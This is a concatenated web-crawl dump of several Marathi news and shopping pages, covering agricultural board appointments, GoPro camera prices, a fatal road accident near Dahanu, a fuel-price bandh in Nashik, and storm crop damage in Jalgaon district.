मंडळाचे अध्यक्षपद चार वर्षे भूषविले आहे. राज्यात एक मराठी भाषिक, शेतकरी व ग्रामीण पार्श्वभूमी असलेला शास्त्रज्ञ उपलब्ध असतानाही राज्य सरकारने डॉ. खर्चे यांना मंडळाचे अध्यक्षपद का दिले, असा सवाल केला जात आहे.\nडॉ. मायी यांना भरती मंडळाचे अध्यक्षपद देण्याच्या जोरदार हालचाली दोन वर्षांपूर्वी झाल्या होत्या. त्यांची संपूर्ण माहिती असलेली फाइलदेखील तयार झाली होती. मात्र, मंत्रालयात ही फाइल दाबून ठेवली गेली. त्यानंतर डॉ. खर्चे यांनी स्वतःच एक आदेश काढून मंडळाच्या अध्यक्षपदावर स्वतःची निवड करून घेतली. मुळात डॉ. मायी यांची फाइल कोणी दाबून ठेवली, त्यांना मंडळाचे अध्यक्षपद का नाकारण्यात आले, या प्रश्नाची उत्तरे कृषी मंत्रालयाने दिली पाहिजेत, असे सूत्रांचे म्हणणे आहे.\nपण हस्तक्षेप नको ः डॉ. मायी\nडॉ. मायी यांच्याशी संपर्क साधला असता त्यांनी आपल्या नियुक्तीबाबत राज्य शासनाने माहिती मागवली होती,'' असा निर्वाळा दिला. \"मी देशाच्या कृषी शास्त्रज्ञ मंडळाचे चार वर्षे अध्यक्षपद भूषविले आहे. या कालावधीत मी देशात पाच हजार शास्त्रज्ञांची भरती केली; पण एकाही प्रकरणात कोर्टकचेरी झाली नाही. कारण आमचे हेतू शुद्ध होते आणि कामकाजही स्वच्छ होते. मला संधी दिली तर मी महाराष्ट्रासाठी जरूर काम करेन. मात्र, कृषी शास्त्रज्ञ भरतीत राजकीय हस्तक्षेप होणार नसेल तरच मी पद स्वीकारेन, असे डॉ. मायी यांनी स्पष्ट केले.\nमहाराष्ट्र कृषी शिक्षण education शिक्षण कृषी विद्यापीठ agriculture university कोकण मुंबई उच्च न्यायालय मंत्रालय\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...पुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या...\nजिल्हा परिषदेतील कृषी अधिकारी यांना...मुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क...\nसांगली जिल्ह्यात सेंद्रिय शेतमालाला हवी...सांगली जिल्ह्यामध्ये सेंद्रिय शेतीमाल विक्री...\nनाशिक जिल्ह्यात सेंद्रिय शेतीची वाटचाल...नाशिक जिल्ह्यात सेंद्रिय शेतीचे तीन वर्षांपूर्वी...\nमुंबईसह शेजारील शहरांत सेंद्रिय...मुंबईसह शेजारील शहरांमध्ये सेंद्रिय उत्पादनांना...\nनाशिक, निफाड कारखाना भाड्याने देण्याचा...नाशिक : कर्जबाजारी व आर्थिक डबघाईमुळे गेल्या काही...\nसातपुड्यातील लघू प्रकल्पांमध्ये अल्प...जळगाव : खानदेशात नंदुरबार, धुळे व जळगाव...\nनाशिकला पहिल्यांदाच मशिनद्वारे...नाशिक : कांद्याची निर्यात करण्यासाठी कांदा...\nतंत्रज्ञान शेतकरी स्नेही व्हायला हवे ः...औरंगाबाद : शेतीतील प्रश्न संपत नाहीत, कालपरत्वे...\nप्रात्यक्षिकांनी सुधारित तंत्रज्ञानाचे...जालना : सुधारित तंत्रज्ञानाचा व नवीन वाणाच्या...\nहिंगोली जिल्ह्यात एक लाख कुटुंबांना...हिंगोली ः केंद्र शासनाची महत्त्वाकांक्षी आयुष्मान...\nपरभणीत पीक कर्जवाटप प्रश्नी शेतकरी...परभणी ः जिल्ह्यातील शेतकऱ्यांच्या पीक कर्जवाटप...\nम्हैसाळ योजना सुरू करण्यासाठी हालचाली...सांगली ः जिल्ह्यातील ताकारी आणि टेंभू उपसा सिंचन...\nअकोला, बुलडाण्यात पीक कर्जवाटप ३०...अकोला ः शेतकऱ्यांना खरीप हंगामासाठी पीक...\nगोंदियातील कृषी सेवा केंद्रे लावणार...गोंदिया ः जमिनीची गरज ओळखूनच खताची मात्रा...\nसाताऱ्यात पावसाअभावी पिके करपू लागलीसातारा : जिल्ह्यात सुमारे एक महिन्यापासून...\nनगर जिल्ह्यात पावसाअभावी कांदा लागवड...नगर ः जिल्हाभरात पावसाअभावी कांदालागवड...\nवाशीममध्ये रब्बीत हरभऱ्याचे क्षेत्र...वाशीम ः या हंगामात जिल्ह्यात चांगला पाऊस...\nखरेदी केंद्र सुरू करण्याच्या मागणीसाठी...सातारा : शेतीमाल खरेदी केंद्रे त्वरित सुरू...\nऊसतोड मजूरांच्या मागण्यांबाबत लवादाची...मुंबई : राज्यातील ऊसतोड मजूर व कामगारांच्या...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00260.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://www.pricedekho.com/mr/cameras/gopro+cameras-price-list.html", "date_download": "2018-09-25T17:07:27Z", "digest": "sha1:I2V2DINWYWKTOQ4T3RXFEIO4RAW73FSL", "length": 15341, "nlines": 362, "source_domain": "www.pricedekho.com", "title": "गोप्रो कॅमेरास किंमत India मध्ये 25 Sep 2018 वरसूची | PriceDekho.com", "raw_content": "कूपन, दर cashback ऑफर\nलॅपटॉप, पीसी च्या, गेमिंग आणि अॅक्सेसरीज\nकॅमेरा, लेन्स आणि अॅक्सेसरीज\nटीव्ही आणि मनोरंजन साधने\nघर & स्वयंपाकघर उपकरणे\nगृह सजावट, स्वयंपाकघर आणि फर्निचर\nलहान मुले आणि बेबी उत्पादने\nखेळ, फिटनेस आणि आरोग्य\nपुस्तके, स्टेशनरी, भेटी आणि मीडिया\nभारतातील टॉप 10 मोबाईल\nमागचा कॅमेरा [13 MP]\nमोबाईल प्रकरणे आणि कव्हर\nबिंदू आणि अंकुर कॅमेरे\nकंडिशनर्स,वॉशिंग मशिन्स आणि ड्रायरसुद्धा\nव्हॅक्यूम & विंडोमध्ये क्लीनर\nज्युसर मिक्सर आणि धार लावणारा\nओ डी टॉयलेट (EDT)\nपायांकरीता असलेले कातड्याचे बाह्य आवरण पॅड\nमऊ तळव्यांचे आवाज न होणारे बूट\nचप्पल आणि फ्लिप फ्लॉप्स\nIndia 2018 गोप्रो कॅमेरास\nसर्वाधिक ते सर्वात कमी\nसर्वात कमी ते सर्वोच्च\nगोप्रो कॅमेरास दर India मध्ये 25 September 2018 म्हणून. किंमत यादी ऑनलाइन शॉपिंग 9 एकूण गोप्रो कॅमेरास समावेश आहे. उत्पादन तपशील, की वैशिष्ट्ये, चित्रे, रेटिंग आणि अधिक सोबत India मध्ये सर्वात कमी भाव शोधा. या वर्गात सर्वाधिक लोकप्रिय उत्पादन गोप्रो हिरो 301 येऊ कॅमेरा ब्लॅक आहे. सर्वात कमी दर एक सोपा किंमत तुलना Flipkart, Indiatimes, Kaunsa, Naaptol, Amazon सारख्या सर्व प्रमुख ऑनलाइन स्टोअर्स पासून प्राप्त आहेत.\nकिंमत श्रेणी गोप्रो कॅमेरास\nकिंमत गोप्रो कॅमेरास आपण सर्व बाजार मध्ये देण्यात येणार उत्पादने चर्चा करताना असतात. सर्वात महाग उत्पादन गोप्रो हेरॉ३ स्पोर्ट्स & ऍक्टिव कॅमेरा ब्लॅक एडिशन Rs. 52,968 किंमत आहे. या विरुद्ध, सर्वात कमी दरातील उत्पादन Rs.13,280 येथे आपल्याला गोप्रो हिरो 301 येऊ कॅमेरा ब्लॅक उपलब्ध आहे. दर या फरक पर्यायांपैकी प्रीमियम उत्पादने ऑनलाइन खरेदीदार एक परवडणारे श्रेणी देते. ऑनलाइन दर Mumbai, New Delhi, Bangalore, Chennai, Pune, Kolkata, Hyderabad, Jaipur, Chandigarh, Ahmedabad, NCR ऑनलाइन खरेदीसाठी इत्यादी सर्व प्रमुख शहरांमध्ये वैध आहेत\nदर्शवत आहे 9 उत्पादने\n2 इंचेस & अंडर\nगोप्रो हेरॉ५ सेशन १०म्प ब्लॅक\n- ऑप्टिकल सेन्सर रेसोलुशन 5 Megapixels MP\n- ऑप्टिकल झूम Up to 2.9x\nगोप्रो हिरो 301 येऊ कॅमेरा ब्लॅक\n- बिल्ट इन फ्लॅश No\n- स्क्रीन सिझे NO\n- ऑप्टिकल सेन्सर रेसोलुशन 5 Mega pixels\n- ऑप्टिकल झूम NO\nगोप्रो हेरॉ४ स्पोर्ट्स & ऍक्टिव कॅमेरा सिल्वर\n- ऑप्टिकल सेन्सर रेसोलुशन 12 Megapixels\nगोप्रो हिरो ऍक्टिव ग्रे\n- स्क्रीन सिझे 1.75 Inches\n- ऑप्टिकल सेन्सर रेसोलुशन 8 Megapixels\n- ऑप्टिकल झूम 1000 X\nगोप्रो हेरॉ४ स्पोर्ट्स & ऍक्टिव कॅमेरा ब्लॅक\n- ऑप्टिकल सेन्सर रेसोलुशन 12 Megapixels MP\nगोप्रो हेरॉ३ स्पोर्ट्स & ऍक्टिव कॅमेरा सिल्वर\n- ऑप्टिकल सेन्सर रेसोलुशन 12 Megapixels MP\nगोप्रो हेरॉ३ स्पोर्ट्स & ऍक्टिव कॅमेरा व्हाईट\nगोप्रो हेरॉ३ स्पोर्ट्स & ऍक्टिव कॅमेरा ब्लॅक एडिशन\n* 80% संधी किंमत पुढील 3 आठवडे 10% पडू शकतो की नाही\nमिळवा झटपट किमतीत घट ईमेल / एसएमएस\nQuick links आमच्या विषयी आमच्याशी संपर्क साधा T&C गोपनीयता धोरण FAQ's\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00260.warc.wet.gz", "language": "mr", "language_score": 0.78, "bucket": "all"} {"url": "http://www.saamana.com/3-people-die-in-bike-accident/", "date_download": "2018-09-25T17:37:53Z", "digest": "sha1:FTM7YFY247T2T3GMQ3PQF7VGUWMHBNEN", "length": 16213, "nlines": 257, "source_domain": "www.saamana.com", "title": "डहाणूत दोन बाईकची टक्कर; तिघांचा मृत्यू | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा…\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nधोनीच्या चपळाईपुढे अफगाणिस्तानी फलंदाजाची शरणागती\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानला तिसरा धक्का\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nडहाणूत दोन बाईकची टक्कर; तिघांचा मृत्यू\nचारोटी-डहाणू रोडवरील सारणी येथे आज रात्री दोन बाईकची समोरासमोर टक्कर होऊन तीन जण ठार झाले, तर दोघे गंभीर जखमी झाले. ठार झालेल्यांमध्ये शिंगडा दांपत्य व एका दुचाकीस्वाराचा समावेश आहे. रक्षाबंधननंतर घरी जाताना या कुटुंबावर काळाने घाला घातला असून या अपघातातील दोघा जखमींना रुग्णालयात दाखल केले आहे.\nरात्री 8.30च्या सुमारास हा अपघात झाला. उर्से येथे राहणारे स्वप्नील शिंगडा (28) हे पत्नी शर्मिला शिंगडा (24) व तीन वर्षीय मुलगा आरुष शिंगडासह रक्षाबंधनासाठी कोंडगाव येथे आज गेले होते. रक्षाबंधनाचा कार्यक्रम आटोपून दुचाकीवरून घरी जात असताना चारोटी-डहाणू रोडवरील सारणी येथे समोरून येणाऱ्या बाईकची जोरदार धडक बसली. या भीषण अपघातात स्वप्नील, शर्मिला हे दांपत्य जागीच ठार झाले. तर त्यांचा मुलगा आरुष (3) हा गंभीर जखमी झाला असून त्याला रुग्णालयात दाखल केले आहे. मनोज गुहे (28) हा दुचाकीस्वारही ठार झाला असून त्याची मुलगी मानवी (4) हीदेखील जखमी झाली आहे.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nपुढीलराफेल व्यवहार हा मोदी सरकारचा सर्वात महाघोटाळा \nसंबंधित बातम्या या पब्लिशरकडून आणखी\nकल्याणमधील धोकादायक पत्रीपुल पाडण्याच्या कामाला अखेर सुरुवात\nतिसऱ्या मजल्यावरून तोल जाऊन चिमुकलीचा मृत्यू\nठाण्यातील दरोडेखोरांची टोळी गुलबर्ग्यातून जेरबंद\nधोनीच्या चपळाईपुढे अफगाणिस्तानी फलंदाजाची शरणागती\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा...\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00261.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://m.divyamarathi.bhaskar.com/amp/news/congresss-call-for-bharat-bandh-against-fuel-price-5954874.html", "date_download": "2018-09-25T16:42:39Z", "digest": "sha1:PE73Y7ZHPS2WGVCYN5VLFVZQB7ZUXZZA", "length": 9147, "nlines": 53, "source_domain": "m.divyamarathi.bhaskar.com", "title": "Congress's call for 'bharat bandh' against fuel price | इंधन दरवाढीविराेधात काँग्रेसकडून अाज बंद; इतर पक्षांचाही पाठिंबा", "raw_content": "\nइंधन दरवाढीविराेधात काँग्रेसकडून अाज बंद; इतर पक्षांचाही पाठिंबा\nपेट्रोल, डिझेल दरवाढीमुळे सामान्य ग्राहक महागाईने हाेरपळून निघत असतानाही केंद्र सरकार काहीही उपाययाेजना करीत नाही. या नि\nनाशिक- पेट्रोल, डिझेल दरवाढीमुळे सामान्य ग्राहक महागाईने हाेरपळून निघत असतानाही केंद्र सरकार काहीही उपाययाेजना करीत नाही. या निषेधार्थ काँग्रेस व मित्रपक्षांनी सोमवारी (दि. १०) सर्वपक्षीय देशव्यापी बंद पुकारला अाहे. या बंदमध्ये शहर व जिल्ह्यातही व्यापारी, व्यावसायिकांनी सहभागी हाेऊन व्यवहार बंद ठेवत सहभागी व्हावे, असे अावाहन काँग्रेस पदाधिकाऱ्यांनी केले अाहे. बंदच्या पूर्वसंध्येला काँग्रेस कार्यालयात झालेल्या बैठकीत राष्ट्रवादी काँग्रेस, भाकपा, माकपा, शेतकरी कामगार पक्षासह मनसे पदाधिकाऱ्यांनी सहभागी हाेत बंदला पाठिंबा दिला. दरम्यान, शाळा, महाविद्यालयांकडून कुठलीही सूचना न अाल्याने ते सुरू राहतील.\nसकाळी ६ ते सायंकाळी ४ या वेळेत जिल्ह्यातील सर्व व्यवहार बंद ठेवण्यात येणार असून सर्वच घटकांनी सक्रीय सहभाग नाेंदविण्याचे अावाहन करण्यात अाले अाहे. सर्वसामान्य जनता महागाईने होरपळत आहे. पेट्रोल, डिझेल, गॅसचा समावेश जीएसटीमध्ये करून जनतेला दिलासा द्यावा, ही प्रमुख मागणी आहे. शहर व जिल्ह्यात व्यापाऱ्यांना या बंदसंदर्भात पत्रके वाटप करून आवाहन करण्यात आले आहे. काँग्रेस कमिटीत झालेल्या बैठकीत काँग्रेस, राष्ट्रवादी, मार्क्सवादी, कम्युनिस्ट, भारतीय कम्युनिस्ट पक्ष, मनसे, पीपल्स रिपब्लिकन पार्टी, स्वाभिमानी शेतकरी संघटना, समाजवादी पक्ष, शेतकरी कामगार पक्ष, भारिप, आरपीआय (गवई गट) या पक्षांसह विविध व्यापारी संघटना, कामगार संघटना, रिक्षा, टॅक्सी चालक-मालक संघटनांनी पाठिंबा दर्शविला. शहर व जिल्ह्यात कार्यकर्त्यांनी बंद शांततेच्या मार्गाने पाळण्याचे अावाहन जिल्हाध्यक्ष राजाराम पानगव्हाणे पाटील, शहराध्यक्ष शरद अाहेर, डाॅ. हेमलता पाटील, राष्ट्रवादीचे नाना महाले, रंजन ठाकरे, जयंत जाधव, माकपाचे डॉ. डी. एस. कराड, तानाजी जायभावे, सुनील मालुसरे, माजी महापाैर अशोक मुर्तडक, गजानन शेलार, राजू देसले, सय्यद अहमद, सलीम शेख यांनी केले आहे.\nपोलिस यंत्रणा सज्ज, अतिरिक्त बंदाेबस्त तैनात\nबंदच्या पार्श्वभूमीवर पोलिस यंत्रणा सज्ज झाली आहे. कायदा व सुव्यवस्थेचा प्रश्न निर्माण होऊ नये याकरिता शहरात अतिरिक्त पोलिस बंदोबस्त तैनात करण्यात आला आहे. पोलिस आयुक्त डॉ. रवींद्र कुमार सिंगल यांनी तातडीची बैठक बोलवत मार्गदर्शन केले. उपायुक्त लक्ष्मीकांत पाटील, श्रीकृष्ण कोकाटे, माधुरी कांगणे यांच्यासह सहायक आयुक्त बंदोबस्तात सहभागी होणार आहे. ३ उपायुक्त, ८ सहायक आयुक्त, ४५ पोलिस निरीक्षक, ५५ सहायक निरीक्षक, ९० उपनिरीक्षक यांच्यासह सर्व पोलिस कर्मचारी, १२ स्ट्रायकींग फोर्स, आरसीएफ, क्यूआरटी व एसआरपीएफ प्रत्येकी १ कंपनी, गुन्हे शाखा युनिट १ व २ अधिकारी व कर्मचारी, विशेष शाखा अधिकारी व कर्मचारी असा माेठा बंदोबस्त तैनात राहणार आहे.\nआजचे राशिभविष्य : जाणून घ्या, तुमच्या राशीसाठी कसा राहील सोमवार\nविधवा काकूशी पुतण्याचे अवैध संबंध, वाद झाल्यावर महिलेने केले असे काही\nमराठमोळ्या नम्रता शिरोडकरचा पती आहे 127 कोटींचा मालक, नवीन चित्रपटात करणार सीएमची भूमिका\nतुम्हाला माहिती आहेत का सेक्स संदर्भातील हे 10 रहस्य\nहिप्सची गरजेपेक्षा वाढलेली चरबी कमी करण्याचे खास आयुर्वेदिक उपाय\nबिकीनीमधील या मराठमोळ्या अॅक्ट्रेसचे वय ऐकून व्हाल चकीत, पहिल्या पतीच्या मृत्यूनंतर केले दुसरे लग्न\nआज या 5 पैकी कोणतीही 1 गोष्ट घरी घेऊन या, प्रसन्न राहील देवी\nतू व्हर्जिन आहेस का तो लग्नाआधी तिला विचारतो.. पुढे वाचा- काय घडतं मग...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00261.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.agrowon.com/agriculture-news-marathi-agrowon-work-pananchams-jalgaon-district-continues-6787", "date_download": "2018-09-25T17:59:41Z", "digest": "sha1:UNHLN6PU4OVF4CDFE5TL4GIAASLOX5LM", "length": 16602, "nlines": 149, "source_domain": "www.agrowon.com", "title": "agriculture news in Marathi, agrowon, Work of pananchams in Jalgaon district continues | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nजळगाव जिल्ह्यात पंचनाम्यांचे काम सुरूच\nजळगाव जिल्ह्यात पंचनाम्यांचे काम सुरूच\nशुक्रवार, 23 मार्च 2018\nजळगाव : जिल्ह्यात शनिवारी (ता. १७) झालेल्या वादळी पावसात सुमारे एक हजार हेक्‍टरवरील पिकांचे नुकसान झाल्याचा अंदाज असून, पंचनामे सुरूच आहे. पंचनाम्यांसह नुकसानीची प्राथमिक माहितीचा आढावा कृषिमंत्री पांडुरंग फुंडकर यांनी जिल्हाधिकारी किशोर राजेनिंबाळकर यांच्याशी दूरध्वनीवरून चर्चा करून घेतल्याची माहिती प्रशासनाने दिली आहे.\nजळगाव : जिल्ह्यात शनिवारी (ता. १७) झालेल्या वादळी पावसात सुमारे एक हजार हेक्‍टरवरील पिकांचे नुकसान झाल्याचा अंदाज असून, पंचनामे सुरूच आहे. पंचनाम्यांसह नुकसानीची प्राथमिक माहितीचा आढावा कृषिमंत्री पांडुरंग फुंडकर यांनी जिल्हाधिकारी किशोर राजेनिंबाळकर यांच्याशी दूरध्वनीवरून चर्चा करून घेतल्याची माहिती प्रशासनाने दिली आहे.\nजिल्ह्यात वादळी पावसात भुसावळ, जामनेर, पाचोरा, जळगाव भागांत वृक्ष उन्मळून पडले. अनेक शेतकऱ्यांचे आंबे, रामफळ आदी डेरेदार वृक्ष जमिनदोस्त होऊन त्यांचे मोठे नुकसान झाले आहे. मका, गहू ही पिके आडवी झाली. पंचनामे कृषी विभागाकडून सुरूच असून, प्राथमिक माहिती प्रशासनाने जारी केली आहे. प्रशासनाने दिलेल्या माहितीनुसार जिल्ह्यातील ४७२ हेक्‍टरवरील पिकांचे नुकसान झाले आहे. त्यात यावल तालुक्‍यात ३६, जामनेरात ४१६ आणि पाचोरा तालुक्‍यात २० हेक्‍टरवरील पिकांचे नुकसान झाल्याचा प्राथमिक अंदाज आहे. यावल व जामनेरात केळीचे मिळून ६५.४० हेक्‍टरवर नुकसान झाल्याचा दावा करण्यात आला आहे.\nपरंतु यापेक्षा अधिक नुकसान झाले आहे. ते कृषी विभागाने गृहीत धरलेले नाही. शिवाय कर्मचारी पंचनाम्यांसाठी गावोगावी पोचलेच नाहीत, असा आरोप ग्रामस्थ, शेतकरी करीत आहे. सुमारे एक हजार हेक्‍टरवरील पिकांचे नुकसान जिल्ह्यात झाल्याचे काही जाणकार, कृषितज्ज्ञांचे म्हणणे आहे. २० ते २५ टक्के या स्वरूपात ते आहे. हे नुकसानही कृषी विभागाने गृहीत धरावे, असे शेतकऱ्यांचे म्हणणे आहे.\nमका, दादर, गहू ही पिके लोळली आहे. दादरची कणसे जमीनदोस्त झाल्याने त्यांचा दर्जा खालावला आहे. तर मक्‍याचे पीक अनेक ठिकाणी अर्ध्यापासून मोडले आहे. त्यात मक्‍याची दाणे पक्व होणार नाहीत. त्याचे १०० टक्के नुकसान होईल. फक्त चाराच हाती येईल. तरीही प्रशासन मात्र हे नुकसान गृहीत धरीत नसल्याचे शेतकऱ्यांचे म्हणणे आहे.\nयावल व चोपडा तालुक्‍यांत कांदा बीजोत्पादन व कांदा पिकाचे नुकसान झाले आहे. त्याची माहिती प्राथमिक अहवालात दिसत नाही. यातच प्रशासनाने पंचनामे सुरू ठेवले असून, नेमकी माहिती या आठवड्याच्या अखेरीस समोर येईल, असे संबंधितांचे म्हणणे आहे.\nजळगाव पांडुरंग फुंडकर प्रशासन भुसावळ गहू wheat कृषी विभाग agriculture department केळी banana बीजोत्पादन seed production\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...पुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या...\nजिल्हा परिषदेतील कृषी अधिकारी यांना...मुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क...\nसांगली जिल्ह्यात सेंद्रिय शेतमालाला हवी...सांगली जिल्ह्यामध्ये सेंद्रिय शेतीमाल विक्री...\nनाशिक जिल्ह्यात सेंद्रिय शेतीची वाटचाल...नाशिक जिल्ह्यात सेंद्रिय शेतीचे तीन वर्षांपूर्वी...\nमुंबईसह शेजारील शहरांत सेंद्रिय...मुंबईसह शेजारील शहरांमध्ये सेंद्रिय उत्पादनांना...\nनाशिक, निफाड कारखाना भाड्याने देण्याचा...नाशिक : कर्जबाजारी व आर्थिक डबघाईमुळे गेल्या काही...\nसातपुड्यातील लघू प्रकल्पांमध्ये अल्प...जळगाव : खानदेशात नंदुरबार, धुळे व जळगाव...\nनाशिकला पहिल्यांदाच मशिनद्वारे...नाशिक : कांद्याची निर्यात करण्यासाठी कांदा...\nतंत्रज्ञान शेतकरी स्नेही व्हायला हवे ः...औरंगाबाद : शेतीतील प्रश्न संपत नाहीत, कालपरत्वे...\nप्रात्यक्षिकांनी सुधारित तंत्रज्ञानाचे...जालना : सुधारित तंत्रज्ञानाचा व नवीन वाणाच्या...\nहिंगोली जिल्ह्यात एक लाख कुटुंबांना...हिंगोली ः केंद्र शासनाची महत्त्वाकांक्षी आयुष्मान...\nपरभणीत पीक कर्जवाटप प्रश्नी शेतकरी...परभणी ः 